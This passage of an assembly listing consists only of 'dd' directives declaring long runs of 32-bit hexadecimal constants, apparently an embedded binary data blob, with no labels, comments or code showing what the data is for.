3E9EDB14h, 25D45AC6h dd 6FD394ACh, 49A32511h, 372EDB4Ah, 76BFB3B3h, 0FAA93E4Eh dd 15001DBCh, 2F21E3F5h, 4D9D314Bh, 0F131EB5h, 0C0C8F882h dd 81603E26h, 91EAC8h, 7FB86812h, 612401CEh, 6DB23A97h dd 0A8396026h, 0C2129CD4h, 0A0E1CA1Bh, 0B8B80939h, 0BC4C050Fh dd 0F9B2E56Eh, 0C8BA5384h dd 8B16605Ah, 940161DAh, 243489F8h, 18C6E2Ah, 217213Bh dd 0BDD8D05Fh, 8D290984h, 0E573159Dh, 0B70F6080h, 96861D8h dd 0E2F084ABh, 0C24FC78Dh, 7F54B048h, 0F51D2E28h, 0F6D5ED09h dd 0AD517175h, 20797F11h, 0C000992Fh, 8BF7161Fh, 2FE2BC4h dd 3CC1B091h, 0BADC5042h, 3C3802F6h, 9E51DF6Bh, 6606F14Ch dd 616387BBh, 737F2E0Ah, 0E3019293h, 1988D37Ah, 0A7E04Bh dd 0D26B51A2h, 0E6FF763Ah, 0EF120672h, 5BB2118Ch, 4B100C8Eh dd 812152E0h, 0F5C248E9h, 0D2461D97h, 13D45054h, 54659C2h dd 8E2BF99Dh, 174F7DE6h, 3BED09ADh, 0B17213C9h, 2FFE8107h dd 0ACB2904Eh, 102525Eh, 77271214h, 25D19695h, 0E9DB03D6h dd 6881DDD3h, 742B09BDh, 0C8CDEF49h, 4D4AA47h, 25FCA252h dd 950066F9h, 0C70A953h, 0F4FF0714h, 9456C999h, 0D7D0AD79h dd 0A180A6DAh, 999509FFh, 5A2BB7h, 9CBA600Eh, 2E26004Ch dd 28E8CCBBh, 1AB86109h, 8A00ECA6h, 981A5021h, 1DD0D2F9h dd 81B79314h, 0D61715A7h, 0A7127AF5h, 9CBD5A13h, 9B0116B8h dd 782AC62Ch, 0BB4D301Ah, 73F08E76h, 4538A5D5h, 4CC99CFFh dd 69DE15h, 0BD5B9496h, 0F400F64h, 43EEF723h, 67828160h dd 9977F0Ch, 0F65AF622h, 28AB3009h, 60EDFE34h, 1A6BD9DFh dd 847BE109h, 7B161A80h, 31E47841h, 0DE028BFAh, 9F0E1205h dd 691D5CA5h, 90021264h, 0DFB64522h, 3259F6B2h, 0A5C5F23h dd 201C5166h, 5B4B23C9h, 10E0EA34h, 0E372C056h, 0DB6F8EFh dd 8ED08995h, 589AE9C6h, 0B75309CFh, 0AA5B5FB4h, 0C35ADh dd 9019AF08h, 0FBECC4CAh, 0A7C4834Ah, 9BEC5EE9h, 7693E500h dd 0D98B4226h, 0DD73956Ah, 4888478h, 8E0F2CCAh, 0BD294206h dd 962C5C89h, 6651939Dh, 6D46D8BAh, 0E5574D9Fh, 0C12BF9A7h dd 418D2B60h, 0FC4134h, 0BB509661h, 5DA6FA56h, 1D815B4Fh dd 81F60D29h, 6AF4CFE3h, 6FAF4654h, 6EF02538h, 0D48094A4h dd 0E165B812h, 0A26F52FFh, 13768E90h, 0D2E84FADh, 99C341FFh dd 8D0F0105h, 0E94E21B1h, 63CC100Dh, 35940BB8h, 0A67C8D92h dd 0CD6C0B69h, 995FE0BBh, 0D50BA992h, 0C49C5013h, 58E70052h dd 98BEAA5h, 381EE55Eh, 0B70986C4h, 45B73DBh, 0ACF7EF80h dd 0EB4ADEF0h, 51491294h, 0F86082ACh, 0EBD18A0Fh, 8913F18Bh dd 44AB51F4h, 0F3814032h, 4AD1C2F4h, 3B91CD39h, 0B75B306Eh dd 0B2844AC2h, 0BB5ACA8h, 0EE02344Ch, 7D7F460h, 0C124D99Eh dd 0E9E012A6h, 0FC098F39h, 0C153362Ah, 5B02060Ah, 103CCC77h dd 2405399Dh, 438E9090h, 0CEB1D727h, 0F99D993Ah, 506739D1h dd 22A11350h, 80D52BA5h, 40BC92FDh, 8F71D203h, 138CBFC4h dd 0BE6B3AA4h, 2A991644h, 75BD0130h, 0D95013CBh, 86291DC0h dd 0B8F98F5Ch, 173B7203h, 0D815AA6Ch, 9D4162Ah, 0FC8ABB32h dd 2404C702h, 0EFE48EEDh, 0EC960BE8h, 5DCDF0D3h, 0ABF0111h dd 5B15F54Eh, 6DE63F6Ah, 73E162F0h, 385B4CECh, 0F6698BB1h dd 3A1379BCh, 0B282514Bh, 36C57703h, 402BCDA5h, 0E22247D3h dd 1220E548h, 5BB3EF15h, 0FFDE8A04h, 25DBEFD1h, 0BAC08E81h dd 0D4D3FDAAh, 2F2508CDh, 165C65F5h, 0EC41A9ACh, 0A74F4E96h dd 0F6009E2h, 57916A86h, 72596E10h, 0D1C59500h, 401E43B6h dd 1CB39C58h, 2D18519Dh, 0E33702h, 0B4D8C74Bh, 0D7123059h dd 0B4F019C1h, 90283B53h, 0A09CBB04h, 2A73EF50h, 0A59BFDDFh dd 1326B8D3h, 85B7035Dh, 0C4007458h, 0E95358BDh, 96950DE8h dd 0D44449D5h, 4A66E4Fh, 501453Fh, 208BE7C6h, 18951E61h dd 9D90F9D5h, 0EEB8C313h, 13002E4Dh, 52D54EA3h, 2DD886h dd 3A9F5D9Bh, 5F22B3B1h, 0E805FFB0h, 9029D960h, 0E89D004h dd 0E8A4A5ACh, 114580DEh, 0CAAF63h, 37E17E59h, 9F138A36h dd 0C688501Eh, 80823084h, 849DBBADh, 0AB106195h, 9D015F70h dd 7AAF9559h, 39F6FB6h, 3F0CA72Ah, 8848A976h, 7F95CB40h dd 7F2D5835h, 0B91B8516h, 0E801E8D6h, 54E05D3h, 5EAF502h dd 0D930A9C1h, 0A5332AD6h, 671F84F0h, 0C3B02E91h, 8C53810h dd 3C70E618h, 7125E4F8h, 0D28869F5h, 52FA1E54h, 6E8BA176h dd 17B94B20h, 7B98CAh, 9A9E5FD0h, 6FE1C6D5h, 0F8FE6002h dd 5D3784C0h, 0BD2AA466h, 9095BEA1h, 71FC9907h, 2EBC2C8Ch dd 0FD8A09A3h, 0B325A658h, 29A0607Ah, 15DD258Dh, 0FE609C6Ah dd 93094F7Ch, 0D18B08h, 0D76AF7BCh, 590165E9h, 0EA0BC4F9h dd 0AEB34F44h, 93D85ACh, 124D25B6h, 1BC999C4h, 0FD8D8B1Dh dd 9252B929h, 18577882h, 90E78095h, 5A3E5CB5h, 19AEEFC2h dd 0A9041ADFh, 149151F7h, 79C6AB27h, 0A5508504h, 5224FE18h dd 26101489h, 14F85B1Eh, 0B096395h, 0A6A9B99Dh, 0B8088F53h dd 0AD311DF8h, 6A924B56h, 0BBBCE4FDh, 6D78B301h, 15D8DE14h dd 4AB26630h, 7F8CDD02h, 7602746Ah, 752B95Ch, 4E50D2A9h dd 0F537BDh, 99D1BB63h, 93B043F3h, 0FC8001F4h, 4A15EE29h dd 0F69982Eh, 2BDFB709h, 0DC8E56D2h, 9AA64B25h, 0D1B6029Ch dd 0DA7F560Dh, 0A470BDD3h, 76E800F3h, 14F44C5Dh, 9D1329C7h dd 7AFB2F11h, 83E1004Bh, 0BCE889CBh, 98D9C6Ah, 0BB582D3Bh dd 4445EF9Fh, 0F934EB95h, 0A7D626A8h, 26A5EA8h, 24F7592Ch dd 0B6116039h, 56017683h, 70B07A77h, 8C89C0Fh, 4DAF0E5Ch dd 0AD7215E5h, 529AD3A1h, 9C9F2F80h, 0E00414BFh, 0BEB2733Ch dd 76AD08B8h, 0F512E0A8h, 26B6097Ah, 2B021802h, 9C552D9Dh dd 96D684C1h, 4C00DC5Dh, 20E9FD1h, 0E1B873F0h, 40E0C577h dd 0A001D269h, 0B1D03522h, 0C4204F06h, 0B2294A7Dh, 0D7F9D6C3h dd 927F82A8h, 0E41979Ah, 40C18120h, 0E104FF30h, 5BFCB357h dd 17A11BB8h, 0B8F72E04h, 32A658A0h, 6ED36516h, 0ECD3181h dd 44D22079h, 9E03FDEBh, 0F959C4A0h, 9DA230B8h, 0D625A828h dd 0E66093D2h, 4FC7E0ABh, 21C50325h, 832E88BBh, 4A00B8DCh dd 62E0A2A6h, 2257C68h, 56FE6106h, 6600F873h, 189638A7h dd 16003B93h, 0ACA4D37Bh, 584E9E8h, 9D23304Eh, 4F49EA51h dd 3417725Fh, 0C1430136h, 2ABD2BEFh, 73B98674h, 0E70016A8h dd 0E1E874F1h, 9A84CB80h, 6DC9257Ch, 45D743C2h, 0DD352D36h dd 39ED6400h, 754B1FCBh, 0C61C2F44h, 4A50690h, 0E2E5C805h dd 1DAE5C3Eh, 0B7768116h, 7F6ABF02h, 5117236Fh, 20FFFC4Eh dd 3310BD1Ah, 0E3005895h, 0B096C05Ah, 50DE9Ch, 0EF6886B1h dd 8B0A3EC3h, 3481FA01h, 21C01024h, 9554C13Fh, 0C2CB2A1Eh dd 0A0A0A64Fh, 3F229C8h, 440122F4h, 724E200Fh, 620051B2h dd 0E68EFD52h, 780B41E7h, 536ED7Bh, 0C9491D72h, 0A777715Bh dd 67E94DE0h, 94F7014Ah, 0B9DA4DA0h, 3AE10B0Dh, 352B92E3h dd 2C72815Ah, 0CFD92ABEh, 2B39F13Fh, 252C3F76h, 0D55B2E82h dd 17B5ADh, 9A7E50C5h, 0E613B835h, 360420F9h, 29030A0Dh dd 1F9C71B5h, 0A2B7013Ch, 0AFDEEF81h, 912637F9h, 5DBD010Dh dd 0FB7B2AADh, 0B158F84Fh, 2B6C73B3h, 0BD12C648h, 0B4B2AC17h dd 34C0259Ah, 320B9406h, 891FBF04h, 0D1805AFEh, 72F95D7h dd 0C047E168h, 82B3F7CCh, 0F1566A98h, 5EBC1E02h, 0A1027F33h dd 6277DCE3h, 5318AB3Fh, 4AE9783Fh, 1DC4A516h, 0E8B3C8h dd 4CC6F6C5h, 472BBB37h, 7C2D0A74h, 6AC69867h, 0A0E100F1h dd 42DFC69Bh, 31133C3Eh, 2C42E3E9h, 4CDAB70Fh, 0C78101ACh dd 73213E43h, 6D6E3B61h, 0BB321F12h, 2329F304h, 23977FABh dd 0F24A1314h, 6A5A0032h dd 392BA5FBh, 0E6F10029h, 0DB1458D0h, 0F412E4E2h, 0C04716Ch dd 38AA2FFDh, 0FB97369Ch, 7562D837h, 0C7A47924h, 0A0D91Fh dd 43A8E781h, 21E914E8h, 631231D2h, 6BACDF94h, 69E697EEh dd 0DA85EFA0h, 0F6001EFCh, 0FB8B6D89h, 254929BBh, 71C5719Bh dd 8652B617h, 1901096Fh, 6875CBBFh, 0AFBEE449h, 53E1F895h dd 7FC5F729h, 4C7ABA04h, 73C2127Ch, 0C7AF3078h, 0D300E49Fh dd 57077DFFh, 2FE20280h, 299A6E05h, 4DE71C40h, 6F8D744Bh dd 21C9B63Eh, 9B3248Ch, 805408ADh, 71D8C9EEh, 0F90BBF5Eh dd 71985096h, 990008A2h, 7401305h, 0EC042660h, 0FFEA0551h dd 0BCC989CAh, 6FDA2E56h, 12F89617h, 4ACECA4Ah, 1AC8D89Ah dd 76D22FC0h, 37DB2F27h, 8CB84C82h, 0C85E6792h, 4D0D00DCh dd 0BDE963CBh, 0B112AE7Ah, 0EFA9DF8Bh, 0A1E9B6D2h, 0D43895CFh dd 0B953120h, 0F627D6E3h, 77B6AD00h, 0F4509BDAh, 18F500C8h dd 78C9F381h, 90961BCh, 0CE11C59Dh, 0E9C29747h, 8B75E362h dd 0AD9FADDh, 42D74BE3h, 412C60F7h, 9101CA57h, 2369A364h dd 0CD7FB8AEh, 0F942948Ch, 205012D6h, 0ABB846B9h, 0CA048AE8h dd 0CBF99356h, 14D1A81h, 0E5550905h, 4F5BADA9h, 0B25899A3h dd 12350014h, 9097385Eh, 8F80D458h, 4C73250Ah, 10B756C6h dd 9253133h, 6AD00377h, 8400B7DFh, 0EFBEC6C8h, 3DE859C0h dd 0E2CB4B11h, 7843E02h, 1BB9CA0Fh, 66194D10h, 46DE171Ah dd 22F0F635h, 0F7310007h, 1687B83Ch, 87BC5BEFh, 0DCBAF46Bh dd 0AA0AF400h, 0CFFAD7A3h, 96F8258Ah, 0FB41CFDAh, 0F90702h dd 585A6160h, 906704DFh, 3D1C53h, 4FE666BDh, 0DA3CF9CAh dd 0D9F13207h, 0EA608485h, 9C96784Ah, 0A913DC8Ah, 61EFEAE7h dd 2821B50Eh, 44DA4B43h, 0BAC116C8h, 0D4205CBCh, 95A29A31h dd 24BF9998h, 4A20B212h, 37887CE2h, 0A3CF8180h, 505ED27Ch dd 9FD99850h, 108310BDh, 8884EFAEh, 0BA94197Bh, 0F1A15B05h dd 506B2E92h, 0E5001C23h, 3EBC7C42h, 0AE916F6h, 0C170048Dh dd 5475AB10h, 0B731CEC2h, 8216113Ch, 6851938Eh, 977E3B46h dd 40F38A1Ah, 249D670h, 7A839A14h, 0CBE06034h, 5081058Dh dd 975BFADCh, 7B6BA914h, 7040FB45h, 0B12CA11h, 4404DE8Bh dd 0B712069Dh, 0FEB94EC9h, 0D03A7A8h, 374063D4h, 20BAD5CFh dd 3578019h, 0E22AF004h, 7AEFC69Dh, 33881249h, 0F6D2F2E2h dd 0C14FE0D3h, 2EDD0021h, 0D8E9F863h, 7CE3FFF2h, 79FF72CEh dd 498CB83Ch, 8D4BA3D3h, 6AF73F08h, 13DEFA27h, 80429B7Eh dd 0E55FBDACh, 6330E46Fh, 0D7814650h, 68D97998h, 0D6601017h dd 60A7A009h, 404A5452h, 0B67E54B4h, 79080201h, 58F8CDB1h dd 9B7D82Eh, 18B9855Ah, 452D313Bh, 21832BAFh, 0A6E5167Bh dd 5ECAE2B9h, 0DA012F4Eh, 0BC50D55Ah, 0ABFC47Ch, 4F1498E4h dd 0C44DADA8h, 0F615A4C0h, 945E1796h, 3BCF0643h, 8A4B4CB9h dd 2BC00CC4h, 97E99529h, 0B725EF14h, 93CDC483h, 0EA61D008h dd 36EBAF03h, 7B6570A6h, 55BC0BF2h, 1037D1FFh, 0EFC5386h dd 0BBDF124Ah, 8BF0E254h, 0E0A6DEA3h, 7E8AC303h, 0DADB2C01h dd 0E0493A07h, 4B6AEED8h, 80B5DB02h, 45B67BCBh, 2287B0C2h dd 0F85A018Eh, 9EF81584h, 0CE1F2880h, 0FF009FC8h, 265E98A9h dd 1F7E623Ah, 2C5F17B4h, 0B0512DE7h, 0F5C42Dh, 0AD11679Dh dd 494ECF8Ch, 84F5BC0Eh, 0AFEC02CAh, 0AF3BE51Dh, 0DD003635h dd 0BD9CA592h, 234903CFh, 9D0B554Eh, 0A9DD209Ah, 0C4E759CAh dd 0AF83852Bh, 0D613216Fh, 0BA4D5273h, 0E2B3AE12h, 6090F80Eh dd 0CDD6B820h, 615B34B4h, 708359F8h, 0D0F05F5Ah, 511632FAh dd 3FC8585Bh, 0FCED0039h, 38CD7180h, 1A02C69Ch, 615F1BBEh dd 402DD450h, 55F49B7Eh, 146F3Eh, 12BF9057h, 976D5DC0h dd 0BDF7FA12h, 0E4E9012Ah, 70DA4B75h, 2C412D17h, 8107642Eh dd 2F17E132h, 1AE60775h, 4E29E0E7h, 1E250E83h, 271C4A5h dd 11D53796h, 2DE1E293h, 7F6A1219h, 42E045EDh, 128A5A4Dh dd 0FC1E336Fh, 82D658E6h, 0D41FC9B5h, 50D1427Fh, 15C20C5Eh dd 0BF900B01h, 0B7007436h, 43E44F20h, 1CBBF144h, 0E523061Dh dd 0F28419E2h, 70E60622h, 677D6772h, 0DB56603h, 8471E42Dh dd 25BD80A4h, 605FDE22h, 7D1CA309h, 35D5CF30h, 2C8FE901h dd 17D935Ah, 3196E26Ah, 0C8B6445Eh, 5AC1A030h, 0D0DCBC51h dd 0E39D7AEDh, 0A9574BC6h, 7E4E48E5h, 52512F02h, 54299D31h dd 655B1CA2h, 8102C95Ah, 2BA1C5E7h, 0D79A57C8h, 2797436Ch dd 40F5EB2Eh, 0F790E937h, 5C6EA0C0h, 35107502h, 23A6622Ah dd 27355E0Bh, 5E0E8A84h, 29D24B78h, 1C892810h, 0E922204Dh dd 0D372CE49h, 1A5DA009h, 0B1E455DEh, 7CB4102h, 0C09EE285h dd 137E86ADh, 64CDFF0h, 0ED10F91Ch, 1C3C1197h, 0F1CE0714h dd 1A5D5D9h, 89F5FE2Ch, 81625095h, 0C94B1FCFh, 4C7C31D8h dd 50023701h, 6A5FBAB3h, 0E00CED5Fh, 0F8FC4383h, 11AA7B97h dd 0CBEC1C11h, 7DF52700h, 0FBEA75h, 71A5F925h, 0C5078B78h dd 993B919h, 0F543572Ch, 5214F072h, 3DF6A15Bh, 3F83DD6Ah dd 9700076Ah, 9A618DCBh, 14485DCEh, 0E5092A80h, 0A5E09BA6h dd 0ED550200h, 99094C60h, 156A0414h, 0AEFC4D9Ch, 13C0499Bh dd 264B5182h, 0FEF64D02h, 5BC02BB6h, 0C0DD726Dh, 6DB2B74h dd 0C784504Bh, 0EDB721BAh, 0D7BFE0B3h, 140220F6h, 71D46B23h dd 0F522C2F9h, 0BD11D704h, 0FFA6F486h, 0D1D80A0h, 9E2C23Ch dd 7E3CB076h, 0F8A143DCh, 807C6FF0h, 5F4FCB09h, 4A25568Bh dd 977720EBh, 1B117335h, 0AF12CC80h, 5E128AA3h, 91CAC20h dd 2D70DA7Ah, 0BAA59D23h, 0E545B5E2h, 970B1551h, 0F57EAC21h dd 1F5765C8h, 13244A0Eh, 15E5027Ah, 275E4448h, 0B8144651h dd 8B528105h, 372E5FF8h, 12559BDEh, 0CC9C48BDh, 9FFF72E1h dd 26009CB7h, 1533FCC6h, 91DF01ABh, 0D58589A7h, 8E2B21h dd 4804EE10h, 0B4292A97h, 4460B89Ch, 4FD4E542h, 30F3DBh dd 6C7455D3h, 2527F3F1h, 0DDC55B0Eh, 0CF04DC09h, 0A87F421Fh dd 94A0C479h, 0C795D577h, 6D701B19h, 147F8AB2h, 74B001F1h dd 88FE7059h, 5664CC34h, 8094C500h, 0C1860D99h, 60B12FBAh dd 0AD00AA37h, 0F5CF6CAAh, 0A2BB0352h, 5B668FD2h, 7DD98C91h dd 9D6EB942h, 6122E52h, 85E0A1B6h, 4E50FD92h, 9417028Eh dd 79F24C97h, 0C47EF200h, 0A230DE7Ch, 0C712F400h, 0EB0A17F9h dd 0A1955B83h, 24442EEFh, 0C7BD0152h, 3B292EE9h, 3DA87569h dd 1000C87Fh, 0BF0755FCh, 5A8B71E9h, 0B230E6DFh, 0F9AE301Ah dd 1F5C1806h, 3F8C6D2h, 0D6BB50D8h, 0B1C4F610h, 456E2B60h dd 0C45ADF00h, 0D4CE7398h, 29556A0Eh, 0F7E27395h, 0B5107A48h dd 10013B26h, 680008DDh, 61EC8156h, 0E5B16051h, 59B84E80h dd 0AEE5BCh, 0BEAFF76Ah, 48683ED6h, 514232C0h, 975B6158h dd 82A94681h, 0E4C16EF3h, 752F18E5h, 0D0B01F46h, 2C194828h dd 4ABBC93Dh, 1A88FDDAh, 64E100C9h, 16DA0E67h, 0F88D0F3Ch dd 0B55FC19Fh, 0DE6BEEE9h, 0C4A6C03Ch, 1C3F66E4h, 25AD8529h dd 0C6A59A73h, 594DB73Ch, 0D5C60FC2h, 0EAFC3D42h, 0D6C80E0Bh dd 0F602F4BBh, 0B521A966h, 3F7D51EFh, 149CC602h, 7F5EA18Fh dd 80EEB5E9h, 0A4F279FBh, 5D16886Dh, 0E017D3FEh, 33B73F9h dd 8927925Eh, 8202FA56h, 4C17ABA0h, 890CA2D3h, 277D7306h dd 6E0081B5h, 0FC59783Fh, 3B3701CCh, 8953B350h, 0F2E66E34h dd 4B84E8F4h, 97E7B012h dd 8FD09A5Fh, 0B551A04Ch, 5ACCBF66h, 933DE2A2h, 0BAC021FCh dd 0D9A4AE77h, 50BCB217h, 0FA409B30h, 303DFA02h, 0BF6B8B5Bh dd 0F63C716Fh, 129DF012h, 0C461F1D5h, 60E8C85Bh, 35C4B5h dd 0AA706551h, 6461EF31h, 1F88B35Fh, 90F700E5h, 0E7B292F8h dd 3702A02Dh, 615E7EAFh, 0E024ED58h, 4708809Dh, 53E9C104h dd 2E8EE1Dh, 78BEA1D6h, 8DD82640h, 4DA658AFh, 4922BABh dd 1B8D6Bh, 0CFEF8161h, 4DC42CC2h, 0D4FB6041h, 1F000601h dd 76AB46DCh, 9D9A98Eh, 0A5F55F4Dh, 4DEBBC79h, 0F171401Bh dd 0B504DD5Eh, 0F98BB2B3h, 4BA2B0B8h, 80FD3D5Fh, 4023FB68h dd 0CD8085F7h, 3AE98028h, 0C9BD58D7h, 64E7C8BDh, 0BCCEA94Bh dd 0B99DC8B9h, 29BD074Eh, 9A12A9E8h, 2FF2870Fh, 5D248E21h dd 5E15A909h, 0A8F77138h, 0EF85506Bh, 30BE44A0h, 0D4CEF6EBh dd 417D632Dh, 0A2050A20h, 9F1E00C8h, 334DE5F5h, 0B6920274h dd 1930BB0Eh, 7B093AD7h, 378F504Eh, 5F0052FCh, 63BB69A0h dd 97233B6Fh, 0A0414C95h, 0A3F4E5F2h, 5A901489h, 4125E3FFh dd 0E712EAC4h, 0E0F69EC4h, 5251BD16h, 7EE7A128h, 0E0164220h dd 7FC8002Eh, 0EDCD644Bh, 66580A08h, 70F8029Dh, 754D3947h dd 0F8504E89h, 2A2610BFh, 386D0114h, 0BA835ABCh, 365EF80Bh dd 7D99307h, 70795758h, 5B79950Fh, 0D55D2980h, 0FF22946Fh dd 7F40E6C4h, 3C2B1CD0h, 0B846CBECh, 965FF5E0h, 2AD38102h dd 426B3F6Ch, 0FEBF5D07h, 8779BA0Ah, 31184D08h, 0DA2EED0Ch dd 46DC4674h, 0E4EB001Bh, 73BE425Fh, 20744E14h, 3920314Ah dd 337FC001h, 969A592Eh, 0BF0F0626h, 17E91C60h, 0E0AD31D1h dd 9D3C79E9h, 3D7D1309h, 0EA578946h, 0C586C9D0h, 80C0DB97h dd 0A08C7017h, 9404BF1Ch, 33B5A9B2h, 572CDD82h, 0C7132C9Ch dd 1DA06318h, 36EA1CBBh, 342278Fh, 0F9B7F5h, 39FE03E5h dd 6EB50706h, 0F38012F0h, 3CFF3E5h, 69952950h, 0D7A15F1Bh dd 0B81094F6h, 86A6B450h, 98C0F6A2h, 73BE1EBAh, 0F46254A5h dd 0DD14DA17h, 466E5D04h, 2A802EFCh, 3263FE6Dh, 0DC0018B0h dd 0D221BCB5h, 167B5528h, 4BB7AEE8h, 0C5A9F9E2h, 9DC0816Dh dd 0AA037E6Bh, 763D5D8Bh, 80842F8Fh, 45E60CE0h, 0A1424F32h dd 0B5C83F1Dh, 5BAB25DFh, 0B5A5347Bh, 13010024h, 0E566FADCh dd 0E635B01Dh, 11BBE5E5h, 0F7800030h, 0DBBB5023h, 75E82A4Dh dd 7813B398h, 30A9F7Ch, 0BF2E5D78h, 29199DA3h, 0CB6A0CF2h dd 36DA4FE4h, 402E0B8Ah, 902931BBh, 88CC4B4Bh, 5C9497F8h dd 63604345h, 0DD244B15h, 8B092B3Ch, 0F474D6C6h, 0C6FF960Ah dd 3099F1CBh, 0F93C8057h, 0AB1915C5h, 1F81C23Ch, 0D78A8CF3h dd 0A841161Fh, 0A8B85ABDh, 0C1B10133h, 15458DC0h, 9906EB5h dd 57F56053h, 0EF5692C2h, 0DC6AF88Bh, 0F405DEE2h, 101D9531h dd 0EDA2D724h, 21A47601h, 852088AAh, 168B5A86h, 7A5ECDBBh dd 0F6A001A6h, 8E77C112h, 0E0555704h, 52C1D477h, 90011FF5h dd 630A3060h, 8D0FCD12h, 4CBA51D0h, 3541174Ah, 9630FA61h dd 14BC2ECh, 655E8939h, 651EC377h, 7F7403EAh, 982142B0h dd 0FFEB6600h, 44947905h, 1FB30170h, 0C90613E3h, 0DEC56BB5h dd 30F58DEFh, 906B5BD6h, 6D255FA0h, 0BCA0AD6Ah, 0FAE19FBDh dd 5126A50h, 6C7AAFh, 93F4A973h, 12E94597h, 0F3079BBFh dd 0AA512615h, 151E8001h, 7FC68D5Bh, 0D3EB8647h, 0A8000EBh dd 79376A6Eh, 0AF42F609h, 21740213h, 0D1FF022Ch, 0F4E0A74Dh dd 0FEADDB75h, 890809CBh, 1F790CD4h, 7BAF134Fh, 0BA140076h dd 8CA7AA96h, 6A0312C9h, 0E153A602h, 983B1A9Fh, 8C1EBBDEh dd 88DF9018h, 61315665h, 1005E9C8h, 24AD17C2h, 275EF442h dd 2D8B806Ah, 0ECFB3F19h, 0DC0024C4h, 22188F95h, 0F2B15EFDh dd 0EDD502EBh, 0A8B31FE0h, 2BBD3BE1h, 0C329B553h, 3AA82F7Dh dd 21409D00h, 3E517F2Eh, 0B3DB4A31h, 91C15F6Bh, 0CE6AA2E9h dd 8B6410F5h, 241584h, 1AC002BFh, 219A9725h, 887170D3h dd 82E0E0h, 8BB0F550h, 39BB90FBh, 45F8591Eh, 8C2E90EDh dd 0CB61002Ch, 535A6CE7h, 16000144h, 0C1A7F5F1h, 94902EC9h dd 2D300922h, 693E287Bh, 2705715Ah, 11D0FE53h, 0F9FC1294h dd 4591096Eh, 80492579h, 8A1F7001h, 9E6A7D68h, 7397DC75h dd 793F0920h, 973D4702h, 4A5F9DC2h, 0FADF04F9h, 5A88F6B9h dd 258A2DBFh, 0E004560Eh, 5B040DFDh, 2B6480B0h, 97DDB5h dd 70E661F2h, 0E1D70181h, 0E430A0BDh, 0F7F36B71h, 97DEA240h dd 6727F226h, 0F97FEF4h, 0AE896AD8h, 8930F749h, 0C189039Dh dd 4E1B233Ah, 8AD832BBh, 5B049243h, 0A49D403h, 0EFA2D0AAh dd 0E62221A5h, 0B7520B26h, 79445B9Dh, 0D63C9500h, 2DC1A3FCh dd 0C82B0C8Ah, 69ECD18Bh, 3BA91D4Bh, 9A5FFC89h, 51BC04Eh dd 1C898814h, 80CA5B95h, 0E2BC208Eh, 0AC09B3AFh, 6F3909h dd 3ADC53E8h, 5D1D1C50h, 0F88B4921h, 4D9DDB02h, 670B0A9h dd 0A4EC604Fh, 21D68BCBh, 84229B4Eh, 0BB008AA2h, 7CF37889h dd 2C009F7Fh, 0DFFC920Ah, 9E22BF8h, 9C0B794h, 0AF133804h dd 231A5432h, 0B5E5FE9h, 4BDD31A8h, 5FB0D0F3h, 3934B589h dd 0C5EB931Ch, 5362C871h, 0E0B70E12h, 342123F2h, 8869A88h dd 79AD03EDh, 0D90E00C0h, 5685C3F4h, 1714C412h, 0E35F160Ah dd 26577802h, 18DAE235h, 890186B9h, 3B612FF5h, 4B050CCEh dd 0ECED6ADAh, 0CDEF46E5h, 0D380E490h, 15F5516h, 0F5034009h dd 0C1F8B414h, 2AB91E40h, 129908AFh, 0F221DD85h, 92BB0330h dd 0B50A20A4h, 0E0E39C02h, 0D4E9E272h, 0C02B8C9Fh, 1297D8BEh dd 0CD3E82BEh, 85305D2Ch, 0D009733Ah, 7382996Fh, 816D69A2h dd 23EB9B40h, 1F5527BDh, 0FB4355CFh, 1F1C809Ah, 0E2FF0C92h dd 61CA3AE0h, 56654297h, 775C27B2h, 9DA412F4h, 693E011Ah dd 2B28E5B3h, 1CC821DAh, 37832DC0h, 0FB7A0018h, 0BB2E0315h dd 1225DFDDh, 77D0CA75h, 0A02993Dh, 0D06CFCF9h, 0C1E253Eh dd 7C7A1379h, 7500D4E6h, 5A7F51EEh, 0F4E1F264h, 8A5B4BFCh dd 0F92525EAh, 61B89235h, 2B1BB13Ah, 0B80CD9Ch, 0E1FF8FEBh dd 850490DBh, 0C9B82E09h, 7B03D2E1h, 826DD8h, 1665871Dh dd 63DCAAFDh, 5F9AC812h, 0CF84BAE2h, 0C2129E03h, 414E014Ch dd 3C2EC9CFh, 79E968B5h, 17AAE864h, 3EB37FCh, 468D4F1Eh dd 2EF960D9h, 0E6129616h, 0A80175B1h, 0CC6A2329h, 0F589DA79h dd 0B750312Ah, 0FE302B8Ah, 161CCB81h, 0B37877D5h, 3019F2DAh dd 0F29D1ACDh, 8D313947h, 6A08B0DEh, 806AB797h, 8501A66Bh dd 4AD310D9h, 0FE0286F2h, 15BA2DF1h, 45F3E857h, 7DC9075Eh dd 90ABF4E1h, 0CFFDFB68h, 0D4819737h, 0D84F0623h, 0F3E5B529h dd 0CCE8742Bh, 0E1006879h, 0B86A19F9h, 0EFA0B5h, 0E74FB926h dd 1AFCDF20h, 0F3C5AC4Ah, 0E97BFEh, 5BA2C1DEh, 4EEA373h dd 0BCE9F9D7h, 59FC0901h, 7E5EA5C6h, 0E85B1810h, 0D2A1D2FFh dd 0D69ADE2Bh, 1B181B8h, 0ABC3449Dh, 26843375h, 0FCC4B2A8h dd 3E01AE89h, 77B7E010h, 0C817DA6Ah, 8809C015h, 89259D33h dd 0F81D7331h, 0F6013B33h, 1ABFE2ACh, 0DA60BA8Dh, 0B9600150h dd 79F9D473h, 74B6861h, 2B4B5FBBh, 0A58C5929h, 0D407EFF9h dd 607FD235h, 0B4B1CE66h, 9E7A40h, 63540764h, 986AF9C0h dd 51BD3109h, 0C51C5516h, 5CD88A25h, 0D6414967h, 0FBECCF0h dd 0CD61C43Eh, 64FE2594h, 0A4E4A368h, 0D0BF845Fh, 33A234h dd 6E1EA98Dh, 0E26A6336h dd 0F6584E61h, 2BEBE04Dh, 0D67B909Dh, 8850A9BCh, 609E800Ah dd 0E227B17h, 0E4376F00h, 32ECBBEBh, 0F1735AD9h, 5256006Bh dd 5F4E5B56h, 6CC0029Eh, 0A13AAF93h, 0AC54B209h, 21097F38h dd 46D6095Eh, 0E4AC5A19h, 5A0B89CBh, 9B618585h, 66B4C087h dd 1314320Fh, 0EE8764B5h, 0BF526A30h, 6EA70993h, 0CE595B35h dd 0D9096063h, 44372861h, 97F83B00h, 396F7050h, 2759E500h dd 0C249FC84h, 25D07FC6h, 0DA456152h, 5B252F1Ch, 0F45BD079h dd 589C957Ah, 5CB1C009h, 849D6469h, 693BAB39h, 0A77EE6E5h dd 60E131E0h, 81DF3970h, 3612333Eh, 0D6C10407h, 0A1A3AC0Ah dd 0BA05041Ah, 71E53D1Dh, 4407C446h, 61FE27B7h, 2B2BF752h dd 